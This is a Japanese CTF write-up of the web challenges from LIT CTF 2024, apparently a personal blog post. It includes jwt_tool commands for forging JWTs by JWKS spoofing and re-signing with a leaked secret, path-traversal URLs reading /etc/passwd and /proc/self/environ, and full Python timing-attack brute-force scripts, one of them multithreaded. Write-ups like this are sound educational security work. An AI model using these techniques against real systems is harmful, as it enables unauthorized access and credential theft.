はじめに
Lexington Informatics Tournament(LIT) CTF 2024に参加してきました。
HaxTacとして参加して1318チーム中237位でした。
今回は解けた問題の中でWebに絞ってWriteupを書きたいと思います。
というのも、他の分野で解いた問題は簡単なものが殆どで、全て解説していたら疲れてしまいます。
その分Webの解説は丁寧に行っていきます。
anti-inspect
問題文にURLが配布されていたので開いてみると、ブラウザがクラッシュしました。
なので、クライアント側のソースコードをwgetで入手し、解析することにしてみました。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
</head>
<body>
<script>
const flag = "LITCTF{your_%cfOund_teh_fI@g_94932}";
while (true)
console.log(
flag,
"background-color: darkblue; color: white; font-style: italic; border: 5px solid hotpink; font-size: 2em;"
);
</script>
</body>
</html>
中で永遠ループの中でフラグが出力されていました。
問題文の中でも注意書きがあった通り、出力の仕方を意識し、console.logの第2引数の値をそのまま使用して出力しました。
以下がExploitコードです。
const flag = "LITCTF{your_%cf0und_teh_fI@g_94932}"
console.log(flag, "background-color: darkblue; color: white; font-style: italic; border: 5px solid hotpink; font-size: 2em;");
よく見ると%cが無くなっています。
jwt-1
ウェブサイトに行くとGET FLAGボタンとログイン画面が現れます。
jwt-1という問題名からJWTの改ざんなのだろうと思い、ログインした時にクッキーに何かついていないか確認してみました。
案の定JWTが付いていました。
中身は以下のようになっています。
bodyの所にadminというデータがあります。
これをtrueにすれば良さそうです。
jwt_toolを使用し、adminの値をtrueに変更し、GET FLAGボタンを押してみましたが、unauthorizedと言われてしまいました。
JWTはデータと一緒にヘッダ(timestampや署名アルゴリズムの指定など)と署名が付いています。
なので、データを改ざんしただけだと署名検証時に検知されてしまいます。
そこで、その処理をバイパスする必要があります。
その後はHMACのシークレットキーの総当たりやno alg攻撃を試してみましたが、全て失敗でした。
spoof JWKS攻撃を試してみると、署名検証をバイパスすることができました。
以下が実行したコマンドです。
python3 ./jwt_tool.py [jwt] -I -pc admin -pv True -X s
このJWTをクッキーに付けた上で/flag(GET FLAGボタンと対応しているパス)にリクエストを投げるとフラグがもらえました。
これは後から分かったことなのですが、実はadminをtrueではなくTrueとしていたことでunauthorizedと言われていただけらしく
JWKS攻撃は必要なかったらしいです。
jwt-2
サイトの内容はjwt-1と同様です。
ですが、今回は攻撃手法を変える必要があります。
ソースコードが配布されていたので見てみると、中にSECRET文字列がありました。
そしてどうやらこれはJWTの署名作成に使用されているようです。
import express from "express";
import cookieParser from "cookie-parser";
import path from "path";
import fs from "fs";
import crypto from "crypto";
const accounts: [string, string][] = [];
const jwtSecret = "xook";
const jwtHeader = Buffer.from(
JSON.stringify({ alg: "HS256", typ: "JWT" }),
"utf-8"
)
.toString("base64")
.replace(/=/g, "");
const sign = (payload: object) => {
const jwtPayload = Buffer.from(JSON.stringify(payload), "utf-8")
.toString("base64")
.replace(/=/g, "");
const signature = crypto.createHmac('sha256', jwtSecret).update(jwtHeader + '.' + jwtPayload).digest('base64').replace(/=/g, '');
return jwtHeader + "." + jwtPayload + "." + signature;
}
const app = express();
const port = process.env.PORT || 3000;
app.listen(port, () =>
console.log("server up on http://localhost:" + port.toString())
);
app.use(cookieParser());
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, "site")));
app.get("/flag", (req, res) => {
if (!req.cookies.token) {
console.log('no auth')
return res.status(403).send("Unauthorized");
}
try {
const token = req.cookies.token;
// split up token
const [header, payload, signature] = token.split(".");
if (!header || !payload || !signature) {
return res.status(403).send("Unauthorized");
}
Buffer.from(header, "base64").toString();
// decode payload
const decodedPayload = Buffer.from(payload, "base64").toString();
// parse payload
const parsedPayload = JSON.parse(decodedPayload);
// verify signature
const expectedSignature = crypto.createHmac('sha256', jwtSecret).update(header + '.' + payload).digest('base64').replace(/=/g, '');
if (signature !== expectedSignature) {
return res.status(403).send('Unauthorized ;)');
}
// check if user is admin
if (parsedPayload.admin || !("name" in parsedPayload)) {
return res.send(
fs.readFileSync(path.join(__dirname, "flag.txt"), "utf-8")
);
} else {
return res.status(403).send("Unauthorized");
}
} catch {
return res.status(403).send("Unauthorized");
}
});
app.post("/login", (req, res) => {
try {
const { username, password } = req.body;
if (!username || !password) {
return res.status(400).send("Bad Request");
}
if (
accounts.find(
(account) => account[0] === username && account[1] === password
)
) {
const token = sign({ name: username, admin: false });
res.cookie("token", token);
return res.redirect("/");
} else {
return res.status(403).send("Account not found");
}
} catch {
return res.status(400).send("Bad Request");
}
});
app.post('/signup', (req, res) => {
try {
const { username, password } = req.body;
if (!username || !password) {
return res.status(400).send('Bad Request');
}
if (accounts.find(account => account[0] === username)) {
return res.status(400).send('Bad Request');
}
accounts.push([username, password]);
const token = sign({ name: username, admin: false });
res.cookie('token', token);
return res.redirect('/');
} catch {
return res.status(400).send('Bad Request');
}
});
JWTの署名アルゴリズムがHS256になっていることから、シークレット文字列を用いてJWTのハッシュ値に暗号化を施したものを署名として扱っていると分かります。
よって、データを改ざんした後に、このシークレットを用いて署名を自分で更新してやれば、署名検証は回避できそうです。
以下のコマンドで改ざんを行いました。
python3 ./jwt_tool.py [jwt] -I -pc admin -pv true -p "xook" -S hs256
後は先ほどと同様の手法でフラグを入手して終わりです。
traversed
問題文にあったURLに飛ぶと、画面に「URLで何かできないか試してみよう」と書かれていました。
問題文がtraversedなことから、path traversalの脆弱性だと推測します。
HackTricksからペイロードを拝借し、いろいろ試してみたところ以下のパスでいけそうだと分かりました。
http://litctf.org:31778/?page=../../../../../etc/passwd
ただ、これだとフラグがどこに格納されているのか分からないので、まずは環境変数を調べます。
Linuxだと自身のプロセス(今動いてるWebサーバのプロセス)は/proc/selfというディレクトリに入っており
その中のenvironファイルに環境変数が格納されているので、そこを調べます。
http://litctf.org:31778/?page=../../../../../proc/self/environ
するとPWD=/app
という環境変数が見つかりました。
フラグは大抵Webサーバディレクトリ直下に置かれているかルートディレクトリに置かれていることがほとんどなので
以下のパスでフラグファイルの取得を試みます。
http://litctf.org:31778/?page=../../../../../app/flag.txt
見事的中です。
kirbytime
これがやっていて一番ハラハラしました。
順を追って解説していきます。
まずサイトに行くとパスワード認証を求められる画面に推移します。
どうやらパスワードは7桁のようです。
ソースコードが配布されているので見てみます。
import sqlite3
from flask import Flask, request, redirect, render_template
import time
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def login():
message = None
if request.method == 'POST':
password = request.form['password']
real = 'REDACTED'
if len(password) != 7:
return render_template('login.html', message="you need 7 chars")
for i in range(len(password)):
if password[i] != real[i]:
message = "incorrect"
return render_template('login.html', message=message)
else:
time.sleep(1)
if password == real:
message = "yayy! hi kirby"
return render_template('login.html', message=message)
if __name__ == '__main__':
app.run(host='0.0.0.0')
パスワード認証部分で気になる箇所があります。
なぜか1文字ずつ確認した後にもう一度まとめて確認しています。
1文字ずつ確認している処理をよく見てみると、認証に成功した場合は1文字ごとに1秒の遅延が入るようです。
この仕様を利用してパスワードを取得できそうです。
最初の文字以外を適当な文字で埋めておいて、1文字目だけを変えながらBruteforceしていきます。
例えば、こんな感じです。
aAAAAAAA
bAAAAAAA
cAAAAAAA
...
リクエストを送信してからレスポンスが帰ってくるまでの時間を計測し、1秒の遅延が入っているようなら1文字目はあっているということになります。
次に1文字目は正しいパスワードのままで、2文字目のBruteforceを行います。
この時注意するのが遅延の更新です。
2文字目のパスワード検証をさせるために1文字目は正しいパスワードである必要があります。
ですが、同時に1秒の遅延も避けられません。
なので、それも考慮し、遅延は(1*現在のBruteforce位置)秒となります。
以下にExploitコードを示します。
#!/usr/bin/
import requests
import string
import time
def main():
# base_url = "http://34.31.154.223:57022/"
base_url = "http://localhost:5000/"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
start_time = 0.0
end_time = 0.0
flag = ""
for i in range(7):
for c in string.ascii_letters + string.digits:
start_time = time.time()
tmp = "A"
payload = {
"password": flag + c + tmp * (7 - (i + 1))
}
print(f"Trying {flag + c + tmp * (7 - (i + 1))}")
res = requests.post(base_url, headers=headers, data=payload)
end_time = time.time()
if i == 6:
if end_time - start_time > 7.0:
flag += c
break
continue
if end_time - start_time > (1.0 + float(i)):
flag += c
break
print(flag)
if __name__ == "__main__":
main()
実行した結果が以下のパスワードです。
そしてこれがそのままフラグでした。
LITCTF{kBySlaY}
この問題は10分経つとサーバインスタンスが閉じてしまいます。
解いている最中は、サーバの経過時間が減っていくのを見ながら、Bruteforceスクリプトを動かしていたのでドキドキでした。
最後の方は一回のリクエストで遅延が6秒もあるので、全く気が緩みませんでした。
追記
制限時間内にbruteforceでパスワードを求める問題はマルチスレッドを採用した方がいいことに気づき、実装してみました。
標的はkirbytimeのサーバです。
Exploitコードを以下に示します。
import string
import requests
import threading
import time
def send(url, value):
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
payload = {
"password": value
}
return requests.post(url, headers=headers, data=payload)
def bruteforce(url, dictionary, delay_threshold):
for v in dictionary:
if send(url, v).elapsed.total_seconds() > delay_threshold:
return v, True
return "", False
class Bruteforcer:
def __init__(self):
self.flag = ""
def bruteforce(self, url, dictionary, delay_threshold):
flag_clone = str(self.flag)
r = []
for v in dictionary:
r.append(flag_clone + v + "A" * (7 - delay_threshold))
p, found = bruteforce(url, r, delay_threshold)
if found:
self.flag += p[delay_threshold - 1]
def get_flag(self):
return self.flag
def exploit(url):
l = len(string.ascii_letters)
n = int(l / 4)
bruteforcer = Bruteforcer()
for i in range(7):
t1 = threading.Thread(target=bruteforcer.bruteforce, args=(url, string.ascii_letters[0:n], i + 1))
t2 = threading.Thread(target=bruteforcer.bruteforce, args=(url, string.ascii_letters[n:n*2], i + 1))
t3 = threading.Thread(target=bruteforcer.bruteforce, args=(url, string.ascii_letters[n*2:n*3], i + 1))
t4 = threading.Thread(target=bruteforcer.bruteforce, args=(url, string.ascii_letters[n*3:n*4], i + 1))
t1.start()
t2.start()
t3.start()
t4.start()
t1.join()
t2.join()
t3.join()
t4.join()
print(bruteforcer.get_flag())
def main():
start_time = time.time()
exploit("http://localhost:5000/")
end_time = time.time()
print(end_time - start_time)
if __name__ == "__main__":
main()
総当たりに使う文字列を4分割して、それぞれの総当たりスレッドに渡しています。
全てのスレッドの処理が終わった後は、総当たりする文字の位置を1つ繰り上げて、また再開します。
試しに4つのスレッドを立ててbruteforceを行ったところ、タイムは582秒から276秒になりました。
おわりに
今回は学生向けCTF大会ということで、問題も優しめのものが多かったです。
Webに関しては1問を残して全て解けたのが嬉しかったです。